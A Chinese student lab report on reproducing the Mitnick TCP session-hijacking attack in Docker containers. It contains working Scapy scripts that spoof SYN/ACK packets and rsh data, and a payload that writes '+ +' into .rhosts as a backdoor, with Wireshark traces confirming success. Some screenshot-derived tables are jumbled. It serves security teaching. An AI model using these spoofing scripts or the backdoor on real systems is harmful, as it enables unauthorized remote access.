软件安全LAB4-Mitnick Attack-20307130135 李钧

前言——此攻击如何运作

Mitnick攻击是TCP会话劫持攻击的一种特例。Mitnick攻击不是劫持受害者A和B之间现有的TCP连接, 而是首先代表他们在A和B之间创建一个TCP连接,然后自然地劫持该连接。

在实际的米特尼克攻击中,主机A被称为x终端,也就是攻击目标。米特尼克想登录x终端并在上面运行他的命令。主机B是一个受信任的服务器,允许它不需要密码就可以登录X-Terminal。为了登录X-Terminal,Mitnick必须模拟可信服务器,所以他不需要提供任何密码。




Figure 1: The illustration of the Mitnick Attack

步骤1:序列号预测。在攻击之前,Mitnick需要了解x终端上的初始序列号(ISN)的模式(在那个年代,ISN不是随机的)。Mitnick向X-terminal发送SYN请求,收到SYN+ACK响应,然后向X-terminal发送RESET包,从X-terminal的队列中清除半开连接(防止队列被填满)。重复了二十次之后。他发现两个连续的TCP isn之间存在一种模式。这使得米特尼克能够预测isn,这对攻击至关重要。


步骤2:SYN flood攻击可信服务器。为了从可信服务器向X-Terminal发送连接请求,Mitnick需要从可信服务器向X-Terminal发送SYN包。X-Terminal将响应一个SYN+ACK包,该包被发送到受信任的服务器。由于受信任的服务器实际上并没有发起请求,所以它会向X-Terminal发送一个RESET包,要求X-Terminal停止3次握手。这种行为给米特尼克的袭击带来了麻烦。为了解决这个问题。米特尼克不得不关闭可信服务器。因此,在欺骗之前,Mitnick对服务器发起了SYN泛洪攻击。那时,操作系统更容易受到SYN泛洪攻击。攻击实际上可以关闭受信任的计算机,使其完全沉默。

步骤3:欺骗TCP连接。Mitnick想使用rsh(远程shell)在X-Terminal上运行一个后门命令;一旦设置了后门,他就可以登录X-Terminal。要在X-Terminal上运行远程shell, Mitnick需要通过身份验证,即他需要在X-Terminal上拥有一个有效的帐户并知道其密码。

步骤4:运行远程shell。使用可信服务器和X-Terminal之间建立的TCP连接,Mitnick可以向X-Terminal发送远程shell请求,要求它运行命令。使用这个命令,Mitnick想在X-Terminal上创建一个后门,这样他就可以随时在X-Terminal上获得shell,而不必重复攻击。

在X-Terminal上配置.rhosts文件

Shimomura经常需要从可信服务器在X-Terminal上运行远程命令。为了避免输入密码,他在X-Terminal 主机上创建了一个.rhosts文件,并将可信服务器的IP地址放入该文件中。注意, .rhosts文件必须位于用户主目录的顶层,并且只能由所有者/用户写入。



验证配置是否成功

seed@VM: ~/.../Labse... × seed@VM: ~/.../Labse... > seed@VM: ~/.../Labse... [05/05/23]seed@VM:~/.../Labsetup\$ dockps 4ff1b25f2a69 trusted-server-10.9.0.6 95813759a742 x-terminal-10.9.0.5 9daff7928af8 seed-attacker [05/05/23]seed@VM:~/.../Labsetup\$ docksh 4f root@4ff1b25f2a69:/# su seed seed@4ff1b25f2a69:/\$ rsh [95813759a742] date rsh: Error looking up host: Name or service not known seed@4ff1b25f2a69:/\$ rsh [10.9.0.5] date rsh: Error looking up host: Name or service not known seed@4ff1b25f2a69:/\$ rsh 10.9.0.5 date Fri May 5 06:36:06 UTC 2023 seed@4ff1b25f2a69:/\$ rsh 10.9.0.5 date Fri May 5 06:36:09 UTC 2023 seed@4ff1b25f2a69:/\$

可以看出我们配置成功,在收信服务器打印目标机器的时间信息,但每次重启都需要重新配置。

为了允许用户从所有IP地址在X-Terminal上执行命令,我们此次攻击的最终攻击目标只需要在.rhosts文件中添加两个加号("++")。这很危险,任何人都不应该这么做。但如果你是一个攻击者,这是一个设置后门的方便方法。正如我们之前提到的,这就是米特尼克攻击中使用的方法。

Task1 Simulated SYN flooding

我们将把server静默,在关闭server之前需要模拟一次x和server的ping,把server对应的IP和MAC保存,每次重启需要重新配置。server对应的MAC在rsh 10.9.0.6 date之后便保存在了x容器的arp中,我们要做的就是在x容器中查看并通过arp –s ... 手动添加静态记录。

在容器中查看MAC,在容器中执行、在主机中执行,但发现并非我们要的结果

```
[05/05/23]seed@VM:~/.../Labsetup$ sudo arp -s 10.9.0.6 02:42:0a:09
:00:06
[05/05/23]seed@VM:~/.../Labsetup$ arp
                                                         Flags Mask
Address
                           HWtype
                                   HWaddress
         Iface
                           ether
                                   00:50:56:ed:7d:b4
                                                         C
gateway
         ens33
192.168.60.254
                                   00:50:56:eb:8d:54
                                                         C
                          ether
         ens33
                                   02:42:0a:09:00:06
localhost
                           ether
                                                         \mathsf{CM}
         br-1e6ff755508f
```

重新查阅PDF文件注意在x容器的root环境下运行,重新执行之后结果如下,成功将静态信息保存在arp表项中。(由于重新启动了docker所以容器的名字有所不同)

```
root@87775d2b7682:/# ls
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
root@87775d2b7682:/# cd root
root@87775d2b7682:~# ls
root@87775d2b7682:~# arp -s 10.9.0.6 02:42:0a:09:00:06
root@87775d2b7682:~# arp
Address HWtype HWaddress Flags Mask Iface
trusted-server-10.9.0.6 ether 02:42:0a:09:00:06 CM eth0
root@87775d2b7682:~#
```

Task 2: Spoof TCP Connections and rsh Sessions

现在我们已经"关闭"了受信任的服务器,我们可以模拟受信任的服务器,并尝试使用X-Terminal启动一个rsh会话。由于rsh运行在TCP之上,我们首先需要在可信服务器和X-Terminal之间建立一个TCP连接,然后在这个TCP连接中运行rsh。

限制条件中,我们只能使用: TCP序列号字段(不包括确认字段)、TCP标志字段、所有的长度字段

The behavior of rsh

我们可以观察到,一个rsh会话由两个TCP连接组成。第一个连接是由主机A(客户端)发起的。主机B上的rshd进程正在端口514上侦听连接请求。报文1~3为三次握手协议。连接建立后,客户端向主机B发送rsh数据(包括用户id和命令)(报文4),rshd进程将对用户进行身份验证,如果用户身份验证通过,rshd进程将与客户端单独发起一个TCP连接。

第二个连接用于发送错误消息。在上面的跟踪中,由于没有错误,连接从未使用过,但是必须成功建立连接,否则rshd将无法继续。报文6~7为第二次连接的三次握手协议。

在第二个连接建立之后,主机B将发送一个零字节给客户端(使用第一个连接),主机a将确认该数据包。 之后,主机B上的rshd将运行客户端发送的命令,命令的输出将通过第一次连接发送回客户端。

尝试在server上运行rsh 10.9.0.5 date的同时进行数据嗅探,得到第一阶段如下,server发送SYN包、三次握手、完成端口1023与514之间的连接建立

| - | No. | Time | Source | Destination | Protocol Le | ength Info |
|----|-----|-------------------|----------|-------------|-------------|--|
| 1 | | 1 2023-05-05 04:1 | 10.9.0.6 | 10.9.0.5 | TCP | 74 1023 → 514 [SYN] Seq=2878397144 Win=64240 Len=0 MSS=1460 SACK_F |
| ł | | 2 2023-05-05 04:1 | 10.9.0.5 | 10.9.0.6 | TCP | 74 514 → 1023 [SYN, ACK] Seq=1163009968 Ack=2878397145 Win=65160 I |
| ı | | 3 2023-05-05 04:1 | 10.9.0.6 | 10.9.0.5 | TCP | 66 1023 → 514 [ACK] Seq=2878397145 Ack=1163009969 Win=64256 Len=0 |
| -1 | | 4 2023-05-05 04:1 | 10.9.0.6 | 10.9.0.5 | RSH | 86 Session Establishment |

收到上一阶段的RSH报文后,根据端口号建立第二条连接

| 5 2023-05-05 04:1 10.9.0.5 | 10.9.0.6 | TCP | 66 514 → 1023 [ACK] Seq=1163009969 Ack=2878397165 Win=65 |
|----------------------------|----------|-----|---|
| 6 2023-05-05 04:1 10.9.0.5 | 10.9.0.6 | TCP | 74 1023 → 1022 [SYN] Seq=1098920739 Win=64240 Len=0 MSS= |
| 7 2023-05-05 04:1 10.9.0.6 | 10.9.0.5 | TCP | 74 1022 → 1023 [SYN, ACK] Seq=2090027615 Ack=1098920740 1 |
| 8 2023-05-05 04:1 10.9.0.5 | 10.9.0.6 | TCP | 66 1023 → 1022 [ACK] Seq=1098920740 Ack=2090027616 Win=6 |
| 9 2023-05-05 04:1 10.9.0.5 | 10.9.0.6 | RSH | 67 Server username:seed Server -> Client Data |

第一条连接之后的回应

| 9 2023-05-05 04:1 10.9.0.5 | 10.9.0.6 | RSH | 67 Server username:seed Server -> Client Data |
|-----------------------------|----------|-----|--|
| 10 2023-05-05 04:1 10.9.0.6 | 10.9.0.5 | TCP | 66 1023 → 514 [ACK] Seq=2878397165 Ack=1163009970 Win=64256 |
| 11 2023-05-05 04:1 10.9.0.5 | 10.9.0.6 | RSH | 89 Server username:seed Server -> Client Data |
| 12 2023-05-05 04:1 10.9.0.6 | 10.9.0.5 | TCP | 66 1023 → 514 [ACK] Seq=2878397165 Ack=1163009993 Win=64256 |
| 13 2023-05-05 04:1 10.9.0.5 | 10.9.0.6 | TCP | 66 1023 → 1022 [FIN, ACK] Seq=1098920740 Ack=2090027616 Win= |
| 44 0000 05 05 04 4 40 0 0 5 | 40 0 0 0 | TOD | 00 544 4000 5578 4003 0 440000000 4 1 0070007405 11' 5 |

停下服务器:

```
[05/05/23]seed@VM:~/.../Labsetup$ dockps
37690d102321 trusted-server-10.9.0.6
220071e1f7a3 x-terminal-10.9.0.5
f1d5644d867c seed-attacker
[05/05/23]seed@VM:~/.../Labsetup$ docker stop 37
37
[05/05/23]seed@VM:~/.../Labsetup$ dockps
220071e1f7a3 x-terminal-10.9.0.5
f1d5644d867c seed-attacker
[05/05/23]seed@VM:~/.../Labsetup$
```

Task 2.1: Spoof the First TCP Connection

1_1编写py文件实现伪造SYN,wireshark监听到的包如下。根据IP和TCP包内必要的字段信息,填充相应内容。

```
t2_1.py
    1#!/usr/bin/python3
    2 from scapy.all import *
    3
    4 # 'U': URG bit
    5# 'A': ACK bit
    6# 'P': PSH bit
    7# 'R': RST bit
   8 # 'S': SYN bit
   9# 'F': FIN bit
 10
11 \text{ ip} = IP(\text{src}="10.9.0.6", dst="10.9.0.5")
12 \text{ tcp} = \text{TCP}()
13 tcp.sport=1023
14 tcp.dport=514
15 tcp.flags="S"
16 \text{ tcp.seq} = 1314520
17
18p = ip/tcp
19 send(p)
 3 2023-05-05 07:37:11.0702... 02:42:2e:48:27:df
4 2023-05-05 07:37:11.0702... 02:42:0a:09:00:05
5 2023-05-05 07:37:11.0891... 10.9.0.6
6 2023-05-05 07:37:11.0891... 10.9.0.5
                                                                 Broadcast
02:42:2e:48:27:df
                                                                                                           42 Who has 10.9.0.5? Tell 10.9.0.1
42 10.9.0.5 is at 02:42:0a:09:00:05
54 1023 - 514 [SYN] Seq=0 Win=8192 Le
58 514 - 1023 [SYN, ACK] Seq=17642008
                                                                                            ARP
   1 2023-05-05 08:59:54.4866... 02:42:2e:48:27:df
                                                                                                          42 Who has 10.9.0.5? Tell 10.9.0.1
                                                                02:42:2e:48:27:df
10.9.0.5
                                                                                                         42 10.9.0.5 is at 02:42:0a:09:00:05
54 1023 → 514 [SYN] Seq=1314520 Win=8192 Len=6
   2 2023-05-05 08:59:54.4866...
                                     02:42:0a:09:00:05
   3 2023-05-05 08:59:54.5056...
                                                                                            Wireshark · Packet 4 · br-175136fafc49
                                                                                                                                                                                   a 8
                                      Frame 4: 58 bytes on wire (464 bits), 58 bytes captured (464 bits) on interface br-175136fafc49, id 0 Ethernet II, Src: 02:42:0a:09:00:05 (02:42:0a:09:00:05), Dst: 02:42:0a:09:00:06 (02:42:0a:09:00:06)
Internet Protocol Version 4, Src: 10:9.0.5, Dst: 10:9.0.6
Transmission Control Protocol, Src Port: 514, Dst Port: 10:23, Seq: 2008174159, Ack: 1314521, Len: 0 Source Port: 514
Destination Port: 10:23
[Stream index: 0]
[TCP Segment Len: 0]
Sequence number: 2008174159
[Next sequence number: 2008174160]
Acknowledgment number: 1314521
01:10 ... = Header Length: 24 bytes (6)
Flags: 80:012 (SYN, ACK)
                                       0110 ... = Header Length: 24 DyLes (Flags: 0x012 (SYN, ACK) 000. ... = Reserved: Not set
                                   ame 4: 58 bytes on wire (464
02 42 0a 09 00 06 02 42 0
```

可以看到X-Terminal(10.9.0.5)向Trusted(10.9.0.6)发送了与SYN对应的SYN ACK报文,但是由于此时的Trusted主机关闭,无法返回一个ACK报文,所以之后X-terminal会向Trusted主机发送retransmission(重新发送)报文

1 2响应SYN+ACK报文

参照PDF手册中的代码,若为SYN+ACK标志则返回ACK消息,但如图所示未能成功握手

```
12 def spoof(pkt):
13
            global seg num
14
            # We will update this global variable in the function
15
            old ip = pkt[IP]
16
            old tcp = pkt[TCP]
17
18
            # Print out debugging information
            tcp len = old ip.len - old ip.ihl*4 - old tcp.dataofs*4
19
20
            # TCP data length
21
            print("{}:{} -> {}:{} Flags={}
  Len={}".format(old ip.src, old tcp.sport, old ip.dst,
  old tcp.dport, old tcp.flags, tcp len))
22
23
            # Construct the IP header of the response
            ip = IP(src=srv ip, dst=x ip)
24
            # Check whether it is a SYN+ACK packet or not;
25
26
            # if it is, spoof an ACK packet
            #print(old tcp.flags)
27
            if old tcp.flags == "SA":
28
29
                      tcp = TCP()
30
                      tcp.flags = "A"
31
                      tcp.sport = 1023
32
                      tcp.dport = 514
33
                      tcp.window = pkt[TCP].window
34
                      tcp.seq = pkt[TCP].ack
35
                      tcp.ack = pkt[TCP].seq + 1
36
                      p = ip/tcp
37
                      send(p)
<u>File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help</u>
 Protocol Length Info
    2 2023-05-05 09:28:10.7216... 02:42:0a:09:00:05
                        02:42:2e:48:27:df
                                       42 10.9.0.5 is at 02:42:0a:09:00:05
54 1023 → 514 [SYN] Seq=1314520 Win=819
```

检查一下 x 容器中的表项,为何此时(关闭服务器之后)x容器中没有server的记录?

| root@220071e1f7a3:~# arp Address trusted-server-10.9.0.6 root@220071e1f7a3:~# arp Address localhost localhost root@220071e1f7a3:~# arp root@220071e1f7a3:~# arp Address localhost localhost | HWtype ether HWtype ether ether o -s 10.9 | HWaddress 02:42:0a:09:00:06 02:42:2e:48:27:df 9.0.6 02:42:0a:09:00 | С | Iface eth0 Iface eth0 eth0 |
|--|--|--|--|--|
| 尝试后发现如果使用指令dock | er stop 3 | 7(server)则会导致如此效 | 以果 | |
| root@220071e1f7a3:~# arp Address trusted-server-10.9.0.6 localhost root@220071e1f7a3:~# arp Address localhost localhost | HWtype ether ether | 02:42:0a:09:00:06 02:42:2e:48:27:df HWaddress | C Flags Mask CM | Iface eth0 eth0 Iface eth0 eth0 |
| <pre>root@220071e1f7a3:/# arp Address trusted-server-10.9.0.6 localhost root@220071e1f7a3:/# arp Address localhost localhost root@220071e1f7a3:/# arp</pre> | HWtype ether ether HWtype ether ether | HWaddress 02:42:0a:09:00:06 02:42:2e:48:27:df HWaddress 02:42:0a:09:00:06 02:42:2e:48:27:df | Flags Mask CM C Flags Mask CM C | Iface eth0 eth0 Iface eth0 eth0 |
| <pre>root@220071e1f7a3:/# arp Address localhost localhost</pre> | HWtype ether ether | HWaddress 02:42:0a:09:00:06 02:42:2e:48:27:df | Flags Mask CM C | Iface eth0 eth0 |

为何直接arp -s ... 之后,关了server以后x容器中的arp就会改变,但再开启server又变回来,甚至在关闭server的情况下修改arp -s ... 也改变不了arp表中的内容了

第二天在光华楼再尝试发现又可以保存记录.....(b5是x容器)

```
[05/06/23]seed@VM:~/.../Labsetup$ docksh b5
root@b556afb0e795:/# su seed
seed@b556afb0e795:/$ cd
seed@b556afb0e795:~$ touch .rhosts
seed@b556afb0e795:~\$ echo 10.9.0.6 > .rhosts
seed@b556afb0e795:~$ chmod 644 .rhosts
seed@b556afb0e795:~$ exit
exit
root@b556afb0e795:/# arp
                          HWtype HWaddress
Address
                                                       Flags Mask
                                                                             Iface
trusted-server-10.9.0.6
                         ether
                                  02:42:0a:09:00:06
                                                                             eth0
root@b556afb0e795:/# arp -s 10.9.0.6 02:42:0a:09:00:06
root@b556afb0e795:/# arp
Address
                          HWtype HWaddress
                                                       Flags Mask
                                                                             Iface
trusted-server-10.9.0.6
                         ether
                                  02:42:0a:09:00:06
                                                       \mathsf{CM}
                                                                             eth0
root@b556afb0e795:/# arp
                          HWtype HWaddress
                                                       Flags Mask
                                                                             Iface
Address
10.9.0.6
                                  02:42:0a:09:00:06
                          ether
                                                       CM
                                                                             eth0
10.9.0.1
                          ether
                                  02:42:be:01:cd:46
                                                                             eth0
```

运行前一步代码之后再运行此步骤代码发送SYN+ACK报文,可以成功握手 02:42:0a:09:00:06


```
[05/06/23]seed@VM:~/.../Labsetup$ sudo python3 t2_1.py
.
Sent 1 packets.
[05/06/23]seed@VM:~/.../Labsetup$ sudo python3 t2_2.py
.
Sent 1 packets.
```

| 3 2023-05-06 02:09:57.5419 10.9.0.6 | 10.9.0.5 | TCP | 54 1023 → 514 [SYN] Seq=1314520 Win=8192 Len=0 |
|--|-------------------|-----|--|
| 4 2023-05-06 02:09:57.5421 10.9.0.5 | 10.9.0.6 | TCP | 58 514 → 1023 [SYN, ACK] Seq=1899481776 Ack=1314521 Win=64240 Len=0 MSS= |
| 5 2023-05-06 02:09:58.5689 10.9.0.5 | | TCP | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=1899481776 Ack=1314521 |
| 6 2023-05-06 02:10:00.5845 10.9.0.5 | | TCP | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=1899481776 Ack=1314521 |
| 7 2023-05-06 02:10:00.6353 02:42:be:01:cd:46 | Broadcast | ARP | 42 Who has 10.9.0.5? Tell 10.9.0.1 |
| 8 2023-05-06 02:10:00.6354 02:42:0a:09:00:05 | 02:42:be:01:cd:46 | ARP | 42 10.9.0.5 is at 02:42:0a:09:00:05 |
| 9 2023-05-06 02:10:00.6663 10.9.0.6 | 10.9.0.5 | TCP | 54 1023 → 514 [ACK] Seq=1314521 Ack=1899481777 Win=64240 Len=0 |

可以看到,X-Terminal对于伪造的来自Trusted的SYN请求返回了一个SYN+ACK包,并且由于运行在Attack上面的sniff_spoof嗅探程序,成功的伪造了一个ACK包并发送给了X-Terminal

1 3 Spoof the rsh data packet.

可以看到在wireshark中抓到了三次握手建立第一次连接的SYN, SYN+ACK, ACK包, 还有之后发送的 data数据包以及服务器返回的ACK包



检查是否执行相关的命令——查看tmp当中的文件,会发现由于返回错误的连接并没有建立(没有发送相应的SYN+ACK包),导致命令并没有执行

Task 2.2: Spoof the Second TCP Connection

建立第一个连接后,X-Terminal将发起第二个连接。rshd使用这个连接发送错误消息。在我们的攻击中,我们不会使用这个连接,但是如果没有建立这个连接,rshd将停止而不执行我们的命令。因此,我们需要使用欺骗来帮助X-Terminal和受信任的服务器完成建立此连接。

顺序执行t2 1, t2 3, t2 4, 模拟TCP连接

```
t2_1.py
 1#!/usr/bin/python3
 2 from scapy.all import *
 4# 'U': URG bit
 5 # 'A': ACK bit
 6# 'P': PSH bit
 7# 'R': RST bit
 8# 'S': SYN bit
 9# 'F': FIN bit
10
11 ip = IP(src="10.9.0.6", dst="10.9.0.5")
12 \text{ tcp} = \text{TCP()}
13 \text{ tcp.sport} = 1023
14 \text{ tcp.dport} = 514
15 tcp.flags = "S"
16 tcp.seq = 1314520
1#!usr/bin/python3
 2 from scapy.all import *
 4 def spoof(pkt):
   if pkt[TCP].flags == "SA":
     ip = IP(src="10.9.0.6", dst="10.9.0.5")
     tcp = TCP()
     tcp.flags = "A"
8
     tcp.sport = 1023
9
10
     tcp.dport = 514
     tcp.window = pkt[TCP].window
     tcp.seq = pkt[TCP].ack
12
13
     tcp.ack = pkt[TCP].seq + 1
     \#data = '9090\x00seed\x00seed\x00touch /tmp/xyz\x00'
14
     data = '9090 \times 00seed \times 00seed \times 00echo + + > .rhosts \times 00'
15
     p = ip/tcp/data
     send(p)
17
18 myFilter = 'src 10.9.0.5 and dst 10.9.0.6 and tcp' # You nee
19 myIface = 'br-0329829639fd'
20 sniff(iface=myIface, filter=myFilter, prn=spoof)
                                                                                                t2
                              t2_4.py
 1#!usr/bin/python3
 2 from scapy.all import *
 3
 4 def spoof(pkt):
 5
      if pkt[TCP].flags == "S":
 6
         ip = IP(src="10.9.0.6", dst="10.9.0.5")
 7
         tcp = TCP()
 8
         tcp.flags = "SA"
 9
        tcp.sport = 9090
        tcp.dport = pkt[TCP].sport
10
11
         tcp.window = pkt[TCP].window
12
         tcp.seq = pkt[TCP].seq
13
        tcp.ack = pkt[TCP].seq + 1
14
         \#data = '9090\x00seed\x00seed\x00touch /tmp/xyz\x00'
15
        p = ip/tcp \#/data
16
         send(p)
17 \text{ myFilter} = ' \text{src} \ 10.9.0.5 \text{ and dst} \ 10.9.0.6 \text{ and dst} \text{ port} \ 9090 \text{ and tcp'}
18 myIface = 'br-0329829639fd'
```

19 sniff(iface=myIface, filter=myFilter, prn=spoof)

| No. | Time | Source | Destination | Protocol | Length Info |
|-----|-----------------------------|---------------------|-------------------|----------|---|
| | 1 2023-05-06 03:06:13.3662 | 02:42:84:17:c1:4d | Broadcast | ARP | 42 Who has 10.9.0.5? Tell 10.9.0.1 |
| | 2 2023-05-06 03:06:13.3663 | 02:42:0a:09:00:05 | 02:42:84:17:c1:4d | ARP | 42 10.9.0.5 is at 02:42:0a:09:00:05 |
| | 3 2023-05-06 03:06:13.4019 | 10.9.0.6 | 10.9.0.5 | TCP | 54 1023 → 514 [SYN] Seq=1314520 Win=8192 Len=0 |
| | 4 2023-05-06 03:06:13.4020 | 10.9.0.5 | 10.9.0.6 | TCP | 58 514 → 1023 [SYN, ACK] Seq=3107686291 Ack=1314521 Win=64240 Len=0 MSS=1460 |
| | 5 2023-05-06 03:06:14.4089 | 10.9.0.5 | 10.9.0.6 | | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=3107686291 Ack=1314521 Win=64240 Len=0 MSS= |
| | 6 2023-05-06 03:06:16.4248 | | | | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=3107686291 Ack=1314521 Win=64240 Len=0 MSS= |
| | 7 2023-05-06 03:06:20.6169 | | | | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=3107686291 Ack=1314521 Win=64240 Len=0 MSS= |
| | 8 2023-05-06 03:06:28.8087 | | | | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=3107686291 Ack=1314521 Win=64240 Len=0 MSS= |
| | 9 2023-05-06 03:06:35.9139 | 10.9.0.1 | 224.0.0.251 | MDNS | 183 Standard query 0x0000 PTR _nfstcp.local, "QM" question PTR _ipptcp.local, "QM" questio |
| | 10 2023-05-06 03:06:37.5259 | fe80::42:84ff:fe17: | ff02::fb | MDNS | 203 Standard query 0x0000 PTR _nfstcp.local, "QM" question PTR _ipptcp.local, "QM" questio |
| | 11 2023-05-06 03:06:44.9376 | 10.9.0.5 | 10.9.0.6 | TCP | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=3107686291 Ack=1314521 Win=64240 Len=0 MSS= |
| | 12 2023-05-06 03:06:45.0073 | 02:42:84:17:c1:4d | Broadcast | ARP | 42 Who has 10.9.0.5? Tell 10.9.0.1 |
| | 13 2023-05-06 03:06:45.0074 | 02:42:0a:09:00:05 | 02:42:84:17:c1:4d | ARP | 42 10.9.0.5 is at 02:42:0a:09:00:05 |
| | 14 2023-05-06 03:06:45.0381 | 10.9.0.6 | 10.9.0.5 | RSH | 84 Session Establishment |
| | 15 2023-05-06 03:06:45.0382 | 10.9.0.5 | 10.9.0.6 | TCP | 54 514 → 1023 [ACK] Seq=3107686292 Ack=1314551 Win=64210 Len=0 |
| | 16 2023-05-06 03:06:45.0485 | 10.9.0.5 | 192.168.60.2 | DNS | 81 Standard query 0x9c0e PTR 6.0.9.10.in-addr.arpa |
| | 17 2023-05-06 03:06:45.0675 | 192.168.60.2 | 10.9.0.5 | DNS | 138 Standard query response 0x9c0e No such name PTR 6.0.9.10.in-addr.arpa SOA ns.fudan.edu.cn |
| | 18 2023-05-06 03:06:45.0688 | 10.9.0.5 | 10.9.0.6 | TCP | 74 1023 → 9090 [SYN] Seq=924587079 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3413201077 TSec |
| | 19 2023-05-06 03:06:46.0887 | 10.9.0.5 | 10.9.0.6 | TCP | 74 [TCP Retransmission] 1023 → 9090 [SYN] Seq=924587079 Win=64240 Len=0 MSS=1460 SACK_PERM=1 |
| | 20 2023-05-06 03:06:48.1050 | | | | 74 [TCP Retransmission] 1023 → 9090 [SYN] Seq=924587079 Win=64240 Len=0 MSS=1460 SACK_PERM=1 |
| | 21 2023-05-06 03:06:50.0571 | 02:42:0a:09:00:05 | 02:42:84:17:c1:4d | ARP | 42 Who has 10.9.0.1? Tell 10.9.0.5 |
| | 22 2023-05-06 03:06:50.0572 | 02:42:84:17:c1:4d | 02:42:0a:09:00:05 | ARP | 42 10.9.0.1 is at 02:42:84:17:c1:4d |
| | 23 2023-05-06 03:06:52.3609 | 10.9.0.5 | 10.9.0.6 | TCP | 74 [TCP Retransmission] 1023 → 9090 [SYN] Seq=924587079 Win=64240 Len=0 MSS=1460 SACK_PERM=1 |
| | | | | | 74 [TCP Retransmission] 1023 → 9090 [SYN] Seq=924587079 Win=64240 Len=0 MSS=1460 SACK_PERM=1 |
| | 25 2023-05-06 03:07:00.6109 | 02:42:84:17:c1:4d | Broadcast | ARP | 42 Who has 10.9.0.5? Tell 10.9.0.1 |
| | 26 2023-05-06 03:07:00.6110 | 02:42:0a:09:00:05 | 02:42:84:17:c1:4d | ARP | 42 10.9.0.5 is at 02:42:0a:09:00:05 |
| | 27 2023-05-06 03:07:00.6413 | 10.9.0.6 | 10.9.0.5 | TCP | 54 9090 → 1023 [SYN, ACK] Seq=924587079 Ack=924587080 Win=64240 Len=0 |
| | 28 2023-05-06 03:07:00.6416 | 10.9.0.5 | 10.9.0.6 | TCP | 54 1023 → 9090 [ACK] Seq=924587080 Ack=924587080 Win=64240 Len=0 |
| | 29 2023-05-06 03:07:00.6476 | 10.9.0.5 | 10.9.0.6 | RSH | 55 Server username:seed Server -> Client Data |
| | 30 2023-05-06 03:07:00.6545 | 10.9.0.5 | 10.9.0.6 | TCP | 54 514 → 1023 [FIN, ACK] Seq=3107686293 Ack=1314551 Win=64210 Len=0 |
| | 31 2023-05-06 03:07:00.6547 | 10.9.0.5 | 10.9.0.6 | TCP | 54 1023 - 9090 [FIN, ACK] Seq=924587080 Ack=924587080 Win=64240 Len=0 |
| | 32 2023-05-06 03:07:00.8482 | 10.9.0.5 | 10.9.0.6 | TCP | 55 [TCP Out-Of-Order] 514 → 1023 [FIN, PSH, ACK] Seq=3107686292 Ack=1314551 Win=64210 Len=1 |
| | 33 2023-05-06 03:07:00.8570 | 10.9.0.5 | 10.9.0.6 | TCP | 54 TCP Retransmission] 1023 - 9090 [FIN, ACK] Seq=924587080 Ack=924587080 Win=64240 Len=0 |

在X容器中检查是否成功执行命令,发现有xyz文件夹,时间也吻合

```
root@40fb27c9d1c3:/# ls
bin boot dev etc home lib lib32 lib64 libx32 media mnt
opt
    proc root run sbin srv sys tmp usr var
root@40fb27c9d1c3:/# cd tmp
root@40fb27c9d1c3:/tmp# ls
XYZ
root@40fb27c9d1c3:/tmp# stat xyz
 File: xyz
 Size: 0
                       Blocks: 0
                                        IO Block: 4096
                                                         regula
r empty file
Device: 37h/55d Inode: 3014721 Links: 1
Access: (0644/-rw-r--r--) Uid: (1000/ seed) Gid: (1000/
seed)
Access: 2023-05-06 07:07:00.649475369 +0000
Modify: 2023-05-06 07:07:00.649475369 +0000
Change: 2023-05-06 07:07:00.649475369 +0000
Birth: -
root@40fb27c9d1c3:/tmp#
```

Task 3: Set Up a Backdoor

为了达到安装后门的效果,只需要在t2_3中修改指令即可,然后重复上一任务中的步骤运行代码。(在进行这一步骤时我回到了宿舍)


```
t2_1.py
                          t2_2.py
                                            t2_3.py
                                                               t2_4.py
 1#!usr/bin/python3
 2 from scapy.all import *
 3
 4 def spoof(pkt):
    if pkt[TCP].flags == "SA":
 5
       ip = IP(src="10.9.0.6", dst="10.9.0.5")
6
 7
       tcp = TCP()
8
       tcp.flags = "A"
9
       tcp.sport = 1023
10
       tcp.dport = 514
       tcp.window = pkt[TCP].window
11
       tcp.seq = pkt[TCP].ack
12
       tcp.ack = pkt[TCP].seq + 1
13
       \#data = '9090\x00seed\x00seed\x00touch /tmp/xyz\x00'
14
       data = '9090 \times 00seed \times 00seed \times 00echo + + > .rhosts \times 00'
15
16
       p = ip/tcp/data
17
       send(p)
18 myFilter = 'src 10.9.0.5 and dst 10.9.0.6 and tcp' # You need to
  make the filter more specific
19 \text{ myIface} = 'br-e59784259029'
20 sniff(iface=myIface, filter=myFilter, prn=spoof)
```

|). | Time | Source | Destination | | Length Info |
|----|-----------------------------|-------------------|-------------------|-----|--|
| | 1 2023-05-06 03:36:11.7016 | 02:42:ac:7d:c1:f8 | Broadcast | ARP | 42 Who has 10.9.0.5? Tell 10.9.0.1 |
| | 2 2023-05-06 03:36:11.7016 | | 02:42:ac:7d:c1:f8 | ARP | 42 10.9.0.5 is at 02:42:0a:09:00:05 |
| | 3 2023-05-06 03:36:11.7174 | | 10.9.0.5 | TCP | 54 1023 → 514 [SYN] Seq=1314520 Win=8192 Len=0 |
| | 4 2023-05-06 03:36:11.7174 | | 10.9.0.6 | TCP | 58 514 → 1023 [SYN, ACK] Seq=1141593105 Ack=1314521 Win=64240 Len=0 MSS=1460 |
| | 5 2023-05-06 03:36:12.7480 | | 10.9.0.6 | | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=1141593105 Ack=1314521 Win=64240 Len=0 MS |
| | 6 2023-05-06 03:36:14.7639 | 10.9.0.5 | | | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=1141593105 Ack=1314521 Win=64240 Len=0 MS |
| | 7 2023-05-06 03:36:18.8921 | | | | 58 [TCP Retransmission] 514 → 1023 [SYN, ACK] Seq=1141593105 Ack=1314521 Win=64240 Len=0 MS |
| | 8 2023-05-06 03:36:18.9252 | | Broadcast | ARP | 42 Who has 10.9.0.5? Tell 10.9.0.1 |
